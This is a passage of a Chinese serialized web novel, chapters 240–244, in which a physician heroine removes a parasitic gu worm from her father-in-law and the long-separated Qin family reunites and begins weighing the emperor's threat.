等马车停稳,宁芷薇在秦远霄的搀扶下下了车。眼前是一座破旧的庙宇,青苔爬满了墙壁,门前杂草丛生。 “大哥已经进去查看过了,很安全。”秦远霄解释道,“这里偏僻,适合给大哥治病。” 宁芷薇点点头,快步走进庙宇。秦霆正躺在临时搭建的木床上,双腿蜷缩,双臂不停地前后摆动,那姿势看得人心疼。 “先给他注射麻醉剂。”宁芷薇轻声说道,“解毒过程会很痛苦,必须让他睡着。” 秦远霄点头,熟练地帮忙固定秦霆的手臂。宁芷薇则开始调配灵液,小心翼翼地注入他的静脉。 时间一分一秒过去,秦霆胸口的血管渐渐凸起,形成一个黑色的小疙瘩。那疙瘩越来越大,最终破开皮肤,黑血流出。 “夫君,把医用消毒物品准备一下。”宁芷薇专注地盯着伤口。 秦远霄动作麻利,等黑血流尽后开始清理伤口。突然,他的动作一顿:“薇薇,你快看!” 子蛊本该在感知危险时往人体深处躲避,但眼前这只却反常地像只受惊的小老鼠,在伤口处探头探脑,时而缩回,时而又探出,犹豫不决的模样让人心生警惕。 宁芷薇眉头微蹙,这种异常现象虽然解释不通,但对他们来说未尝不是个机会。她的目光紧紧追随着那只蛊虫的动向,生怕错过任何细微的变化。 “夫君,快拿个瓶子和镊子来。”她压低声音说道,生怕惊动了那只不安分的子蛊。 秦远霄眼中闪过一丝了然,动作利落地将手中的棉球和碘伏放到一旁。他的脚步轻盈得几乎听不见声响,很快取来了所需物品。 宁芷薇看着那只在血窟窿边缘徘徊的子蛊,手心不自觉地沁出了一层薄汗。以她的手速,想要成功将这只蛊虫夹出来几乎不可能。她的目光不由自主地落在秦远霄身上,只能寄希望于习武之人的他了。 “这一下必须要快,否则它若是钻到别处去,结局令人心惊。”她轻声提醒道,却刻意没有提到心脏的事。空气中弥漫着一股紧张的气息,连呼吸都变得小心翼翼起来。 在这生死攸关之际,她不想给夫君增添心理负担。一旦他因为过分紧张而失手,那就真的得不偿失了。她能感受到秦远霄身上散发出的凝重气息,知道他也明白事态的严重性。 秦远霄紧抿着唇,目光如炬般牢牢锁定那只不安分的子蛊。他的呼吸渐渐平稳下来,手中的镊子纹丝不动,仿佛与手臂融为一体。 房间里安静得能听见心跳声,所有人都屏住了呼吸。子蛊依旧在伤口边缘游移不定,像是在寻找最佳的藏身之处。 电光火石之间,宁芷薇几乎没看清他的动作,子蛊就已经被稳稳夹住,送进了玻璃瓶中。那动作之快,之准,让她不禁暗自赞叹。 然而更让她惊讶的是,无论秦远霄如何转动瓶子,里面的子蛊总是执着地朝着他的方向拼命挣扎,就像是被什么东西吸引着一般。这种异常的举动让她若有所思。 “夫君,控制这只子蛊的母蛊,是不是在你身上?”她仔细观察着瓶中蛊虫的反应,试探性地问道。 秦远霄微微颔首,眼中闪过一丝复杂的神色。从沧澜先生那里收来的蛊虫,他一直随身携带。老爸身上的蛊毒还没清干净,他不敢贸然处置那些母蛊,生怕弄错了反而害了父亲的性命。 看着瓶中子蛊奔向母蛊的样子,他庆幸自己一直这么谨慎。若是母蛊有什么闪失,这子蛊恐怕会在父亲体内自尽。这个念头让他后背一阵发凉。 但同时,他心中也升起一个挥之不去的疑惑。从沧澜先生那里搜来六个装有母蛊的瓶子,父亲和两位兄长体内的蛊已经解除,那是其中三只母蛊所控。 另外那三只母虫,一个瓶子装着一只母虫,没有子蛊。这些子蛊究竟被沧澜先生下在了何处?这个问题像一根刺,深深地扎在他心里。 宁芷薇仔细检查着秦霆的伤口。虽然伤得很深,但面积不大,只需上药包扎即可。她的动作轻柔而专注,生怕给病人带来额外的痛苦。 秦远霄处理好伤口后,便拿着那些已经失去作用的蛊虫到外面去烧毁。夜色中,火光映照着他略显疲惫的面容。这玩意简直要命,还是彻底消失为好。 原本宁芷薇打算先给秦霆解毒,养好身子再说除蛊的事。没想到这子蛊如此迫不及待,倒是省去了二次手术的痛苦。她一边给病人输液,一边暗自庆幸事情的顺利进展。 检查发现秦霆的生命体征平稳,只是身体虚空严重。趁着麻药还未过去,她给他输了些血浆和营养液。房间里只剩下仪器运转的轻微声响,和病人均匀的呼吸声。 外面,秦雪松正在巡视四周,确保安全。这荒山野岭的,虽说人迹罕至,但也不能掉以轻心。 夜色渐深,庙宇内点起了油灯。宁芷薇守在秦霆床前,不时查看他的脉象。秦远霄端来一碗热汤:“薇薇,喝点汤暖暖身子。” “你先喝。”宁芷薇摇头,“我还要守着父亲。” “你现在可不是一个人。”秦远霄温声道,“为了孩子,也该好好吃饭。” 宁芷薇无奈,只得接过碗喝了几口。突然,床上的秦霆动了动,发出一声低吟。 “父亲!”秦远霄立刻凑近。 秦霆缓缓睁开眼,目光有些涣散:“这是哪里?” “父亲别动。”宁芷薇按住他要起身的动作,“你刚经历了一场大手术,需要静养。” “手术?”秦霆愣了愣,随即想起什么,“那毒......” “已经清除了。”宁芷薇说着,将玉盒拿给他看,“不过,这毒不是寻常毒物,而是一种罕见的蛊。” 秦霆脸色骤变:“蛊?” “是。”宁芷薇点头,“而且从蛊虫的形态来看,应该在父亲体内潜伏了至少十年。” 秦霆沉默良久,才低声道:“十年前......” “父亲若是想起什么,不妨说出来。”宁芷薇轻声道,“这蛊虫来历不简单,若能找出源头,或许能避免更多人遭殃。” 秦霆闭上眼,似在回忆:“十年前,我曾去过东陲......” 第二百四十章 两个时辰后,他们离开界阙,将秦霆安置在马车里。没过多久,他终于睁开了双眼。清醒后的第一个变化就是,他的手臂不再做出烧纸的动作,这让所有人都松了一口气。 “父亲。”秦远霄声音微颤,激动地凑上前。他的眼中闪烁着期待和担忧的光芒,生怕父亲认不出自己。 秦霆艰难地睁开眼,看着眼前这张陌生又熟悉的英俊面孔,一时有些恍惚。他的目光在儿子脸上游移,似乎在努力寻找记忆中的痕迹。 “你说你是远霄?”他沙哑着声音问,眼中带着一丝困惑。这声音虽然微弱,却让秦远霄心头一颤。 秦远霄眼圈发红,喉头微微哽咽:“是啊父亲,咱俩都快十年没见过面。”他的声音里带着说不尽的思念和愧疚。 马车外的几位兄长听到动静,大哥秦君瑞迫不及待地拉开车门,冷风夹杂着些许尘土涌入车厢:“九弟,父亲醒了?” “大哥,父亲认不出我了,你快来告诉他,我就是秦远霄啊。”秦远霄声音中带着几分急切,像个寻求认同的孩子。 秦君瑞已经顾不上回应弟弟,急切地凑到父亲面前,眼中噙着泪水:“父亲,您醒了?” “君...君睿...”秦霆虚弱地开口,眼前的大儿子样貌依稀,却比记忆中憔悴了许多。这一声呼唤,让秦君瑞再也控制不住情绪,泪水夺眶而出。 车厢里弥漫着浓浓的情感,每个人都沉浸在这久别重逢的时刻。宁芷薇站在一旁,默默注视着这温情的一幕,心中却泛起一丝不安。 沧澜先生那里还有三只无主的母蛊,对应的子蛊下落不明。这个隐患如同一片乌云,笼罩在他们头顶。但此刻,她选择将这个担忧暂时埋在心底,不愿打破眼前这难得的温馨时刻。 马车缓缓前行,车轮碾过泥泞的道路,发出细微的声响。远处,晨曦的微光已经开始在天际泛起,预示着新的一天即将到来。 宁芷薇靠在马车的软垫上,手轻轻抚着隆起的腹部,感受着腹中胎儿轻微的动静。车厢里弥漫着一股难以言喻的紧张气氛,连呼吸都变得小心翼翼起来。 秦霆醒来的消息来得太突然,以至于所有人都有些手足无措。这位昏迷了整整八年的老人,终于在这个特殊的时刻睁开了双眼。 马车外传来一阵急促的脚步声,紧接着几道身影挤了进来。狭小的车厢瞬间变得拥挤不堪,空气都仿佛凝固了。 “父亲!”几个兄长几乎是同时喊出声,声音中带着难以掩饰的激动和喜悦。 宁芷薇看着眼前这一幕,心中不免有些担忧。她偷偷瞥了一眼身旁的秦远霄,发现他的眉头已经紧紧皱起,显然也注意到了这个问题。 车厢内的空气变得愈发稀薄,秦霆虽然刚刚苏醒,但脸色却并不太好。宁芷薇作为大夫,自然明白这对病人来说并不是什么好事。 “几位兄长,”秦远霄的声音里带着一丝无奈,“父亲刚醒,不如让我先带薇薇出去透透气。” 说着,他朝大哥使了个意味深长的眼色,示意他向父亲解释自己的身份。毕竟八年时光,足以让一个十三岁的少年长大成人。 下了马车,宁芷薇深深吸了一口新鲜空气。初春的风还带着些许寒意,但却让人感到无比清爽。她能感觉到秦远霄的手一直护在她的腰间,生怕她一个不稳。 “你总是这么小心。”宁芷薇转头看向丈夫,眼中带着一丝笑意。 秦远霄却收紧了搂着她的手,“你现在可不止一个人。” 这句话让宁芷薇心头一暖,她下意识地摸了摸自己的肚子。确实,自从有了身孕,秦远霄就更加细心了。 车厢里传来秦霆困惑的声音:“君睿,那个年轻人真的是远霄吗?我记得他才十三岁...” “是的,父亲。”大哥秦君瑞的声音透着一丝感慨,“这八年,远霄已经长大了。” 宁芷薇听着车厢内的对话,心中泛起一丝酸楚。八年的时光,不仅改变了少年,也改变了这个家庭的许多事情。 秦霆点点头,靠在软垫上闭目养神。宁芷薇注意到他的呼吸渐渐变得平稳,这是个好兆头。 “薇薇,”秦远霄突然开口,“谢谢你。” 宁芷薇愣了一下,随即明白了丈夫的意思。她摇摇头,“举手之劳而已。” 秦远霄没有说话,只是将她搂得更紧了些。远处,几位兄长正在安排回府的事宜,马车夫也开始准备启程。 宁芷薇看着眼前这一幕,嘴角不自觉地扬起一抹微笑。这就是家,她想。即便经历了再多的风雨,只要团聚在一起,就永远有温暖的港湾。 春日的阳光洒在他们身上,温暖而明媚。马车缓缓启程,驶向那个他们共同的家。 在这一刻,宁芷薇突然觉得,一切都会好起来的。就像春天总会到来,花儿总会绽放一样。 “九弟妹。”秦君瑞站在马车外,声音里带着几分哽咽,“这次真是多亏了你。若不是你及时赶到...” 作为长子,他比谁都清楚这个怀着身孕的弟媳为秦家付出了多少。那些个日日夜夜的寻找,那些冒着危险打探的消息,若不是她,他们或许永远也找不到父亲的下落。 其他几位兄长也纷纷开口,言语间满是感激。宁芷薇却摆摆手,语气轻松:“一家人不说两家话。现在最重要的是让父亲好好休养。” “远霄,你去陪父亲说说话。”她冲丈夫笑了笑,“这些年,他一定很想你们。我去准备些吃的。” 看着秦远霄回到马车里,宁芷薇这才靠在车厢上轻轻揉了揉腰。怀孕的不适感一直在困扰着她,但此刻她顾不上这些。她开始在界阙里挑选合适的食材,考虑到秦霆这些年在深山里以打猎为生,突然改变饮食习惯反而不好。 界阙里储存的食材琳琅满目,她最终选了一只处理好的鸽子。这种山中常见的飞禽最适合现在的情况,再配上几味温和的药材,既能补充营养,又不会太过刺激。 火堆升起时,远处的山峰已经染上了暮色。锅中的汤汁渐渐飘出香气,混合着药材的清香,在山风中飘散开来。 第二百四十一章 马车里,秦远霄正在向父亲讲述这些年发生的事。 “自从父亲被东陲人掳走,朝廷就开始对我们秦家下手。”秦远霄的声音低沉而克制,“一开始是削减兵权,后来干脆以莫须有的罪名抄家。若不是大哥提前做了准备,恐怕...” 秦霆听着儿子的讲述,布满皱纹的脸上闪过一丝痛楚。这些年,他的儿子们承受了太多。那些明里暗里的打压,那些莫须有的罪名,都是因为他的缘故。 “昏君无道。”他叹了口气,声音沙哑,“我秦家世代忠心,却落得如此下场。只是苦了你们和你们的娘亲。” 宁芷薇一边熬汤,一边听着马车里的谈话。她知道,对秦家来说,最艰难的日子已经过去了。 “夫君。”她朝马车喊道,“鸽子汤好了,快来帮我端一下。” 这是她和秦远霄之间的默契,也是为了让那只来自界阙的鸽子“合理”出现。看着丈夫从马车上下来,她心中涌起一股暖意。 “小心些。”秦远霄接过汤碗,目光落在她微微隆起的腹部,“你也该休息了。” 宁芷薇摇摇头:“我没事。倒是父亲,这些年在山中受苦,需要好好调养。”她从界阙里取出几个瓷碗,“来,大家都尝尝。这鸽子是用山中的药材炖的,最是滋补。” 夜色渐深,篝火映红了众人的脸。秦霆看着围坐在身边的儿子们,眼中闪过一丝欣慰。虽然这些年过得艰难,但他们都成长了,有了自己的家庭,有了可以依靠的伴侣。 特别是九儿,不仅娶了个好媳妇,还即将为秦家添丁。想到这里,他的目光不自觉地落在宁芷薇的肚子上。 “父亲,”宁芷薇察觉到他的目光,笑着说道,“等回府后,我给您开些药方。您的腿,我有把握能治好。” 秦霆摆摆手:“不必麻烦了。能找到你们,我就已经很满足了。” “这怎么能行。”宁芷薇认真道,“您是一家之主,怎能就这样认命。再说了,等孩子出生,总要抱抱孙子吧?” 这话一出,众人都笑了。就连一向沉默的秦霆也露出了笑容。 夜深了,马车继续在山路上前行。宁芷薇靠在秦远霄怀里,听着马蹄声,慢慢闭上了眼睛。 她知道,这只是开始。秦霆的腿伤,朝廷的打压,东陲人的阴谋,这些都需要一一解决。但至少现在,一家人终于团聚了。 而她,会用自己的方式,守护这得来不易的平静。 马车缓缓驶入东麓村,车轮碾过泥泞的道路,发出吱呀的声响。宁芷薇靠在车厢内壁上,透过车窗望着两旁熟悉的景色,心中那根紧绷的弦终于松懈了几分。 路边的杨柳依旧随风摇曳,农家小院里飘出阵阵炊烟。一切都是那么熟悉,仿佛她从未离开过这里。可实际上,这短短的一个月里,她经历了太多。 她下意识摸了摸自己微微隆起的腹部,想起在玄陲的惊险时刻,至今还心有余悸。当时若不是她坚持要去,公爹的病情恐怕会更加严重。虽然这个决定让所有人都担心,但此刻看来,一切都是值得的。 “又在胡思乱想?”秦远霄坐在她身边,察觉到她的走神,大手轻轻覆在她的手背上。 宁芷薇回过神来,对上他关切的目光,轻轻摇了摇头,“没有,就是觉得...终于回来了。” “累了吧?”秦远霄的声音温柔得能掐出水来,“很快就到家了。” 宁芷薇正要说话,突然感觉马车一个颠簸,她的身子不由自主地向前倾去。秦远霄眼疾手快地扶住她,眉头微皱,“小心些。” “我没事。”宁芷薇稳住身子,目光却透着担忧,“倒是父亲的身体...” 话音未落,前面的马车突然停了下来。 “到了!”秦雪松的声音从外面传来,伴随着马蹄踏地的声响。 宁芷薇正要起身,就被秦远霄按住了肩膀,“你坐着,我来扶你。” 还没等她开口,外面突然传来一阵急促的脚步声,紧接着是秦昭玄激动的吼声。 “八弟!你这个混小子!” “砰”的一声闷响,想必是挨了一拳。 宁芷薇忍不住笑出声来,这些兄弟间的感情,总是用最粗暴的方式表达。她能想象到秦雪松此刻的表情,一定是又委屈又无奈。 秦远霄小心翼翼地扶着她下了马车,果然看到秦昭玄正揪着秦雪松的衣领数落。 “九弟妹私自离家去找你,你知道多危险吗?万一出了什么事,你担得起这个责任吗?”秦昭玄的声音里带着明显的后怕。 秦雪松缩着脖子,一副认错的模样,“七哥,要不是我和九弟妹去了,父亲他...” 这话一出,秦昭玄的动作顿住了,脸上的怒气瞬间消散,取而代之的是复杂的神色。 就在这时,大哥和二哥也从马上下来,三步并作两步走到秦昭玄面前。 “七弟。” 简单的两个字,却让秦昭玄整个人都愣在原地。他缓缓转身,看着许久未见的两位兄长,眼眶瞬间红了。 “大哥...二哥...”声音里带着难以掩饰的哽咽。 宁芷薇站在一旁,看着这兄弟相认的一幕,不由得红了眼眶。她能感受到秦昭玄此刻的心情,那种失而复得的喜悦,那种终于等到亲人归来的激动。 三哥秦昭岚这时也走了过来,他向来是最稳重的那个,此刻也难掩激动之情,“别在门口站着了,把父亲安置妥当。” 听到“父亲”二字,秦昭玄更是激动得声音都在发颤,“父亲真的...真的回来了?” “嗯,父亲已经没事了。”大哥秦昭熙拍了拍七弟的肩膀,声音低沉而温和。 二哥秦昭徒也上前一步,“这次多亏了九弟妹。” 听到这话,所有人的目光都投向了宁芷薇。她有些不好意思地低下头,秦远霄则将她往自己身边拉了拉,眼中满是骄傲。 院中的空气仿佛凝固了一般,秦昭玄呆立原地,耳边回响着三哥的话语。直到三哥又催促了一声,他才如梦初醒般转身朝秦老夫人的房间跑去。 “娘!阿爹和两个哥哥总算归家了!”这一声呼喊,震动了整个院落。 第二百四十二章 后院侍弄菜园的几位嫂嫂纷纷抬起头来,手中的农具“咣当”一声掉在地上。大嫂翠柳的手指微微颤抖,眼中闪过不敢置信的神色。二嫂珊芳更是直接丢下手中的活计,提着裙摆就往前院跑。 房门“砰”的一声被推开,秦老夫人以少有的矫健身姿冲了出来。她那双布满皱纹的手紧紧抓住秦昭玄的胳膊,声音都在发颤:“当真?你说的可是当真?” “娘,您看那边......”秦昭玄指向院中停放的马车,声音哽咽。 秦老夫人泪眼朦胧地望去,只见马车旁站着几道高大的身影。她脚步踉跄地走近,忽见两个人“扑通”跪倒在地。 “娘,儿子不孝,让您担心了......”这熟悉的声音,是她日夜思念的大儿子秦君瑞和二儿子秦嘉志。 后院的几位嫂嫂也闻讯赶来。大嫂翠柳站在原地掩面而泣,眼泪顺着指缝滑落。二嫂珊芳则呆呆地望着跪地的丈夫,一时说不出话来,只是不停地用手抹着眼泪。 “起来,快起来......”秦老夫人颤抖着去扶两个儿子,“能回来就好,能回来就好......”她的声音哽咽,眼泪止不住地往下掉。 二嫂珊芳再也忍不住,哭着扑向秦嘉志:“夫君,你可知这些年我有多想你......”她紧紧抱住丈夫的脖子,仿佛生怕他再次消失。 大嫂翠柳虽然性子稳重,此刻也忍不住泪如雨下。秦君瑞主动将她揽入怀中:“翠柳,对不起,让你受苦了。”听到这许久未闻的称呼,大嫂再也维持不住端庄,在丈夫怀中失声痛哭。 秦远霄扶着身怀六甲的宁芷薇上前,轻声道:“娘,爹还在马车里。” 秦老夫人闻言一震,顾不得擦拭眼泪,快步走到马车前。她颤抖着手拉开车门,映入眼帘的是一个消瘦苍老的身影。那人靠坐在车厢内,泪水无声地滑落。 “老爷......”秦老夫人呆呆地望着他,仿佛不敢相信自己的眼睛。她伸出手,想要触碰丈夫的脸,却又害怕这只是一场梦。 “夫人,让你受苦了。”秦霆艰难地开口,声音沙哑。他握住妻子颤抖的手,将其贴在自己的脸上。 这熟悉的温度让秦老夫人再也无法自持,她扑到车前失声痛哭:“你们都回来了,都回来了......” 院中响起此起彼伏的哭声,有喜极而泣,有委屈难当,更多的是失而复得的欣慰。这一刻,破碎多年的家终于重新完整。 秦昭玄站在一旁,看着这温情的一幕,心中百感交集。他想起这些年来,母亲每日在佛堂祈祷的身影,想起大嫂二嫂含着泪水抚养孩子的艰辛,想起三哥为寻找父亲和兄长们四处奔波的背影。 宁芷薇靠在秦远霄怀中,轻声道:“夫君,你终于完成了心愿。” 秦远霄搂紧妻子,目光温柔:“是啊,多亏了你的支持。”他低头看了看妻子隆起的腹部,“等孩子出生,就能看到完整的家了。” 此时,秦霆在众人的搀扶下走下马车。他环视着院中的景象,目光在每个人脸上停留。那些熟悉的面容上都添了几分沧桑,却依旧让他倍感亲切。 “爹,您先去休息吧。”秦君瑞上前搀扶父亲。 秦霆摆摆手:“不急,让我好好看看。”他的目光落在秦老夫人脸上,“夫人,这些年辛苦你了。” 秦老夫人擦了擦眼泪,露出欣慰的笑容:“你们能安全归来已是万幸。”她转身吩咐下人,“快去准备饭菜,今天全家团圆,要好好庆祝一番。” 院中顿时忙碌起来,下人们奔走相告,厨房里炊烟袅袅。大嫂翠柳和二嫂珊芳也擦干眼泪,去张罗饭菜。 秦昭玄看着眼前的一切,心中涌起一股暖流。他知道,从今以后,这个家将不再有遗憾,不再有等待,只有团圆和欢笑。 夜幕降临,院中灯火通明。饭桌上,一家人围坐在一起,说着这些年的经历。秦霆和两个儿子讲述他们被困的经过,秦老夫人则说着家中的变化。 饭后,秦霆拉着秦老夫人的手,在院中散步。月光下,两人的身影渐渐远去,却比年轻时更显恩爱。 大嫂翠柳和二嫂珊芳带着孩子们回房休息,孩子们终于等到了朝思暮想的父亲,兴奋得不愿睡觉。 秦远霄和宁芷薇坐在廊下赏月,享受着难得的宁静时光。秦昭玄则站在一旁,看着院中的点点星火,心中满是感动。 这一夜,秦府上下无人入眠。每个人都沉浸在团圆的喜悦中,仿佛要将这些年的思念和牵挂都倾诉完。 月色渐渐西沉,晨光微露。新的一天即将开始,而这个重获完整的家庭,也将迎来崭新的篇章。 八年时光,恍若一梦。 秦雨澜站在院中,望着眼前这个坐在轮椅上的老人,心中五味杂陈。庭院里的梧桐树依旧如记忆中那般高大,树影婆娑,斑驳的光影洒在父亲消瘦的身影上,让她恍惚间觉得一切都那么不真实。 记忆中高大威严的父亲,总是穿着一丝不苟的官服,目光如炬,举手投足间都带着不容置疑的威严。可如今,他却佝偻着身子,坐在轮椅上,一头乌黑的发丝已经斑白,眼角的皱纹深深刻印在他的脸上,岁月的痕迹清晰可见。 院子里的空气仿佛凝固了,只有风吹过树叶的沙沙声在耳边回响。秦雨澜的手指微微颤抖,想要上前,却又犹豫不决。她的喉咙像是被什么堵住了,想说的话在舌尖打转,却怎么也说不出口。 血脉相连的牵引让她莫名感到亲切,可眼前这个陌生又熟悉的身影,却让她一时不知该如何开口。她的目光在父亲身上游移,注意到他身上穿着的青色长袍已经有些褪色,袖口处还有细微的补丁痕迹。 这些细节像是一把利刃,狠狠地刺进她的心里。她想起小时候,父亲总是将自己打扮得漂漂亮亮的,连一根头发丝都不允许凌乱。可现在,他却如此不修边幅。 “雨澜。”秦远霄轻轻推了推妹妹的肩膀,声音温和却带着一丝催促,“去看看父亲。” 秦雨澜抿着唇,眼眶已经泛红。她能感觉到哥哥手掌的温度,那是一种无声的支持和鼓励。 一旁的母亲早已泣不成声,她扶着秦老夫人的手臂,眼泪止不住地往下掉。泪水打湿了她的衣襟,却浑然不觉。她的目光始终没有离开过丈夫,仿佛要将这八年的思念都倾注在这一刻的凝视中。 第二百四十三章 庭院里的空气愈发沉重,连院子里栽种的花草都似乎感受到了这份压抑,垂着头一言不发。秦远霄看着这一幕,心中也是百感交集。他知道,此刻最需要的是一个突破口。 “雨澜,还记得小时候父亲最疼你吗?”秦远霄柔声道,“每次你贪玩摔倒,都是父亲第一个冲过来抱起你。” 这句话仿佛打开了记忆的闸门。 秦雨澜的脑海中浮现出幼时的点点滴滴——父亲抱着她在花园里漫步,手掌宽厚温暖;父亲给她讲故事时,声音低沉悦耳;父亲为她擦去眼泪时,动作轻柔似风... 那些温暖的片段一幕幕在眼前闪过,让她的心揪得生疼。曾经那个永远挺直腰板的父亲,如今却需要轮椅的支撑才能坐稳。 “爹...爹爹...”她终于开口,声音哽咽得几乎说不出完整的话。 秦霆听到这声呼唤,浑浊的眼中瞬间涌出泪水。他的嘴唇颤抖着,想说什么却说不出口。他伸出颤抖的手,想要触碰女儿的脸庞:“雨澜,我的雨澜...” 那只布满老年斑的手在空中停顿了一下,似乎在犹豫要不要碰触女儿光洁的面庞。秦雨澜看到父亲的迟疑,心中一痛,再也控制不住,扑到父亲面前,紧紧抱住他的手臂。 “爹爹,我好想你...真的好想你...”她的泪水打湿了父亲的衣袖,“这些年,我每天都在想你...” 秦霆用另一只手轻抚着女儿的发顶,声音沙哑:“老父亲决定待在家里陪伴你,就在家陪着雨澜。”他的手指轻轻梳理着女儿的长发,就像小时候那样,“爹爹对不起你...” 这一刻,父女俩都泣不成声。院子里的风轻轻吹过,带着些许凉意,却吹不散这份浓浓的亲情。 秦老夫人看着这一幕,擦了擦眼角的泪水,对秦远霄说道:“快把你父亲扶进房里休息。这院子里风大,别着凉了。” 秦远霄点头,小心翼翼地抱起父亲。他能感觉到父亲的身子比记忆中轻了许多,这让他的心不由得一紧。 待众人安顿好秦霆,整个正房里已经挤满了人。屋内点着檀香,淡淡的香气在空气中弥漫,让人心神稍安。 “老爷。”秦老夫人坐在床边,轻声道,“这八年来,家里发生了太多事。如今一家团圆,你有什么想说的吗?”她的声音里带着些许试探,生怕触动了丈夫的伤心事。 秦霆环顾四周,目光扫过每一个人的脸庞,最后落在秦远霄夫妻身上。他们站在一起,举止得体,气质相配,让人一眼就能看出这是一对璧人。 “这些年,亏得远霄和宁氏。”他叹了口气,眼中闪过一丝愧疚,“我这个做父亲的,愧对你们啊。” “老爷说的是。”秦老夫人接过话,语气中带着几分欣慰,“家里现在就是远霄夫妻当家。这些年,他们把家业打理得井井有条,比以前还要兴旺。” 秦霆点点头,眼中泛起欣慰的光芒:“以后,我秦家上下,都听远霄夫妻的。”这句话不仅是对儿子的信任,更是对这些年来他们付出的肯定。 众人齐声应是,屋内的气氛渐渐轻松起来。 就在这时,外面传来急促的脚步声。 珊儿和芳儿一直守在门外,为这难得的团圆时刻把风。她们的身影在门外晃动,似乎有什么重要的事情要禀报。 秦远霄看了一眼父亲,见他面色疲惫,便示意众人退出去。临走前,他轻声对父亲说:“父亲先休息,有什么事明日再说。” 秦霆点点头,目送众人离开。当房门关上的那一刻,他终于放松下来,靠在床头,闭上了眼睛。八年的牢狱之灾,让他学会了在人前维持体面,可只有在独处时,才能真正卸下所有伪装。 门外,秦远霄正在询问珊儿和芳儿发生了什么事。两个丫鬟低声禀报,说是有客人来访。秦远霄皱了皱眉,正要说什么,却听见院子里传来一阵喧哗声。 院子里传来一阵急促的脚步声,似乎有不少人正往这边赶来。 秦老夫人听到是洛桐他们,眼中闪过一丝暖意。这些都是秦霆的老部下,当年跟着他出生入死,如今又怎能拒之门外。她放下手中的针线活,整了整衣襟。 “赶紧迎他们进门。”她起身说道,语气中带着几分期待。 话音未落,房门便被人从外面推开。不,与其说是推开,不如说是被挤开的。门框发出一声不堪重负的呻吟,几个身形魁梧的汉子几乎是同时挤进了门。 一群人蜂拥而入,为首的正是洛桐。他们刚在集市上听说秦远霄带人回来的消息,连手中的货物都来不及放下,直接奔着秦家来了。有人还穿着沾满尘土的衣裳,显然是赶了很远的路。 洛桐的目光在房内扫视,眉头微皱。他们都知道秦远霄进京是为了寻仇,此时见到门口两个丫头严阵以待的模样,不免担心秦家是否遇到了什么麻烦。 可当他们冲进房间,眼前的一幕却让所有人都愣在原地。空气仿佛在这一刻凝固。 “大...大爷?二爷?”洛桐瞪大了眼睛,声音都在颤抖。他使劲揉了揉眼睛,生怕自己看错了。 秦君瑞和秦嘉志正站在那里,活生生的,不是幻觉。阳光从窗棂间洒进来,将他们的身影拉得很长。 “哈哈哈...”秦君瑞大步上前,一把拍在洛桐肩上,发出清脆的响声,“是我,你小子瘦了不少。” 秦嘉志也走上前来,看着这些昔日的兄弟,眼中泛起泪光:“没想到还能再见到你们。”他的声音有些哽咽,手指微微颤抖。 房间里顿时响起此起彼伏的抽泣声,有人已经忍不住落下泪来。这些铁血汉子在战场上出生入死都未曾流泪,此刻却控制不住自己的情绪。 “都是九爷的功劳啊!”洛桐激动道,声音中带着深深的敬佩,“要不是他,我们这些人早就被那老狐狸给害死了!” 提起往事,众人的脸色都变得凝重起来。那段黑暗的日子,每个人都记忆犹新。有人下意识地攥紧了拳头,指节发白。 床榻上的秦霆听到这熟悉的声音,心中五味杂陈。他想起身相见,可双腿却不听使唤。曾经叱咤风云的将军,如今只能躺在床上。这种无力感让他心如刀绞。 第二百四十四章 他望着房梁,眼中闪过一丝痛苦。记忆中那个意气风发的自己,此刻显得如此遥远。窗外的鸟儿在枝头欢快地鸣叫,更衬托出此刻的凄凉。 “洛桐,你们...过来让我看看。”秦霆强压下心中的苦涩,出声唤道。他的声音有些沙哑,却依然透着一股威严。 听到这声音,洛桐等人又是一愣。虽然不似从前那般中气十足,但这声音他们怎会认不出来。那是曾经带领他们征战沙场的主帅。 “老国公!”有人惊呼出声,声音中带着难以置信。 众人快步走到床前,看清秦霆的模样时,所有人都沉默了。那个曾经威风凛凛的将军,此刻竟是一位白发苍苍、形容枯槁的老者。 床边的小几上放着一碗未动的药汤,散发着苦涩的气味。阳光透过窗纱,将秦霆的影子投射在墙上,显得格外单薄。 “怎么,八年不见,就不认得我了?”秦霆强笑道,试图缓解气氛。可这笑容却让在场的人心中更添一份酸楚。 看着昔日部下消瘦的身影,他心中更是愧疚。这些人因为跟随自己,受了这么多苦。有人被流放边疆,有人被贬为平民,还有人不得不隐姓埋名,过着颠沛流离的生活。 可如今的他,已经不是那个能够庇护部下的国公了。他甚至连自己的双腿都无法掌控。每每想起这点,他就感到一阵深深的无力。 这双腿是因为跪在钱荷衣冠冢前而废,每当想起那一跪,秦霆心中就涌上一股难言的屈辱。那一跪,不仅跪掉了他的双腿,更跪掉了秦家的尊严。 他看向秦远霄,眼中闪过一丝担忧。明德帝若是知道秦家男儿都还活着,恐怕不会善罢甘休。这件事,必须要好好商议才行。 房间里的气氛渐渐沉重起来,连窗外的鸟鸣声似乎都变得遥远。每个人都明白,这短暂的重逢背后,隐藏着更大的风暴。 夕阳的余晖透过窗棂洒进堂屋,将地面染上一层淡淡的金色。秦霆的话让堂屋内的气氛瞬间凝重起来,连空气都仿佛凝固了。 “一旦被明德帝发现我秦家男儿都活着,后果不堪设想。”秦霆的声音低沉而沙哑,眼中闪过一丝深深的忧虑。 宁芷薇握紧了手中的帕子,指节因用力而泛白。这正是她最担心的事情,自从嫁入秦家,这个问题就像一块巨石般压在她心头。 明德帝对秦家的戒备,远超她的想象。那日在宫中听闻太监们的闲谈,才知道明德帝几乎每日都要过问秦家的消息,甚至派出大量密探四处打探。 堂内一时寂静无声,只有檐下风铃偶尔发出清脆的响声。 秦远霄站在窗边,眉头紧锁。这段时日为寻找父兄下落,他走遍了大江南北,虽然心中也有计较,却一直未曾说出。看着父亲憔悴的面容,他心中一阵酸楚。 “父亲,孩儿也在考虑此事。”秦远霄转身,语气沉重地开口。 几位嫂嫂对视一眼,默契地起身。大嫂轻轻拉过秦雨澜的手:“澜儿,随娘去后院看看新开的海棠。” 待她们退出堂屋,分散守在外面警戒,宁芷薇仍留在堂内。她的手指无意识地摩挲着袖口的暗纹,脑海中已经有了初步的计划。 “父亲,养兵需要的银两,我有办法解决。”她抬起头,目光坚定。 秦霆眼中闪过一丝诧异,随即又露出深思之色。这个儿媳妇向来聪慧过人,但养兵所需非同小可。 “九弟妹,”秦雪松忍不住开口,声音里带着几分急切,“你可知养一支军队需要多少银两?光是粮饷器械,每月就是天文数字。” 